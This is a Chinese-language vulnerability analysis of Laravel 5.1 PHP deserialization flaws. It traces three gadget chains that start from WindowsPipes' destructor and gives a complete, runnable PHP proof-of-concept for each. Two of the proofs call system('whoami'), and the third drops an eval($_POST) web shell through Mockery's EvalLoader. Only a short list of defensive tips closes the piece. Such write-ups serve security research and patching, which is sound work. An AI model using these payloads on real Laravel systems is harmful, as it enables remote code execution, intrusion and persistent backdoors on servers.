laravel5.1反序列化漏洞分析
字数 1809 2025-08-07 00:35:01
Laravel 5.1 反序列化漏洞分析与利用
0x00 环境准备
首先需要搭建 Laravel 5.1 的环境:
composer create-project --prefer-dist laravel/laravel laravel5.1 "5.1.*"
配置路由和控制器等基础设置(此处略过)。
0x01 第一个RCE漏洞分析
漏洞链分析
-
起点:
WindowsPipes类的__destruct方法- 该方法会调用
$this->removeFiles() removeFiles()方法会遍历$this->files数组并删除文件
- 该方法会调用
-
触发
__toString:- 当
$this->files中包含对象时,删除操作会触发对象的__toString方法 - 在
View类中找到__toString方法,它调用了$this->render()
- 当
-
调用链深入:
render()调用$this->renderContent()renderContent()调用$this->factory->incrementRender()- 这可以触发任意类的
__call方法
-
利用
__call:- 在
ValidGenerator类中找到__call方法 - 该方法会执行
call_user_func_array(array($this->generator, $name), $arguments) - 通过控制
$this->generator和$name可实现RCE
- 在
-
辅助类:
DefaultGenerator类的__call方法可以返回任意值
POC构造
<?php
namespace Faker;
class DefaultGenerator {
protected $default;
public function __construct() {
$this->default = 'whoami';
}
}
namespace Faker;
class ValidGenerator {
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct() {
$this->maxRetries = 1;
$this->validator = 'system';
$this->generator = new DefaultGenerator;
}
}
namespace Illuminate\View;
use Faker\ValidGenerator;
class View {
protected $factory;
public function __construct() {
$this->factory = new ValidGenerator;
}
}
namespace Symfony\Component\Process\Pipes;
use Illuminate\View\View;
class WindowsPipes {
private $files = array();
public function __construct() {
$this->files = array(new View());
}
}
echo urlencode(serialize(new WindowsPipes()));
?>
0x02 第二个RCE漏洞分析
漏洞链分析
- 起点:同样从
WindowsPipes类的__destruct开始 - 触发
__call:- 在
DatabaseManager类中找到__call方法 - 该方法会调用
$this->connection()
- 在
- 深入分析:
connection()方法最终会调用$this->makeConnection($name)makeConnection()方法中存在call_user_func调用
- 参数控制:
- 第一个参数来自
$this->extensions[$name] - 第二个参数来自
$this->getConfig($name) - 通过控制
$this->app['config']可以控制这些参数
- 第一个参数来自
POC构造
<?php
namespace Illuminate\Database;
class DatabaseManager {
protected $extensions = array();
protected $app = array();
public function __construct() {
$this->extensions['whoami'] = 'call_user_func';
$this->app['config']['database.connections'] = ['whoami' => 'system'];
$this->app['config']['database.default'] = 'whoami';
}
}
namespace Illuminate\View;
use Illuminate\Database\DatabaseManager;
class View {
protected $factory;
public function __construct() {
$this->factory = new DatabaseManager;
}
}
namespace Symfony\Component\Process\Pipes;
use Illuminate\View\View;
class WindowsPipes {
private $files = array();
public function __construct() {
$this->files = array(new View());
}
}
echo urlencode(serialize(new WindowsPipes()));
?>
0x03 第三个RCE漏洞分析
漏洞链分析
- 起点:同样从
WindowsPipes开始 - 触发
__call:- 在
Validator类中找到__call方法 - 当
$this->extensions[$rule]存在时,调用$this->callExtension
- 在
- 深入分析:
callExtension会调用$this->callClassBasedExtension- 其中包含
call_user_func_array([$this->container->make($class), $method], $parameters)
- 利用
eval:- 在
EvalLoader类中找到load方法 - 当
class_exists($definition->getClassName(), false) === false时,会执行eval($definition->getCode())
- 在
- 参数控制:
- 通过
ObjectStateToken类的__toString方法控制传参 - 利用
DefaultGenerator类的__call方法返回任意值
- 通过
POC构造
<?php
namespace Mockery\Loader;
class EvalLoader {}
namespace Faker;
use Mockery\Loader\EvalLoader;
class DefaultGenerator {
public $default;
public function __construct() {
$this->default = new EvalLoader;
}
}
namespace Illuminate\Validation;
use Faker\DefaultGenerator;
class Validator {
protected $extensions = [];
protected $container;
public function __construct() {
$this->extensions['y'] = 'huahua@load';
$this->container = new DefaultGenerator;
}
}
namespace Mockery\Generator;
use Faker\DefaultGenerator;
class MockDefinition {
protected $config;
public function __construct() {
$this->config = new DefaultGenerator;
$this->config->default = 'huahua';
$this->code = '<?php eval($_POST[1]);';
}
}
namespace Prophecy\Argument\Token;
use Illuminate\Validation\Validator;
use Mockery\Generator\MockDefinition;
class ObjectStateToken {
private $util;
private $value;
public function __construct() {
$this->util = new Validator;
$this->value = new MockDefinition;
}
}
namespace Symfony\Component\Process\Pipes;
use Prophecy\Argument\Token\ObjectStateToken;
class WindowsPipes {
private $files = array();
public function __construct() {
$this->files = array(new ObjectStateToken());
}
}
echo urlencode(serialize(new WindowsPipes()));
?>
总结
Laravel 5.1 中存在多个反序列化漏洞,主要通过以下路径实现RCE:
- 通过
WindowsPipes的__destruct方法触发文件删除操作 - 文件删除操作触发对象的
__toString方法 __toString方法调用链最终触发__call方法- 通过精心构造的类属性控制
call_user_func或eval的参数 - 实现任意代码执行
防护建议:
- 及时升级到最新版本
- 避免反序列化用户可控的数据
- 使用白名单机制限制可反序列化的类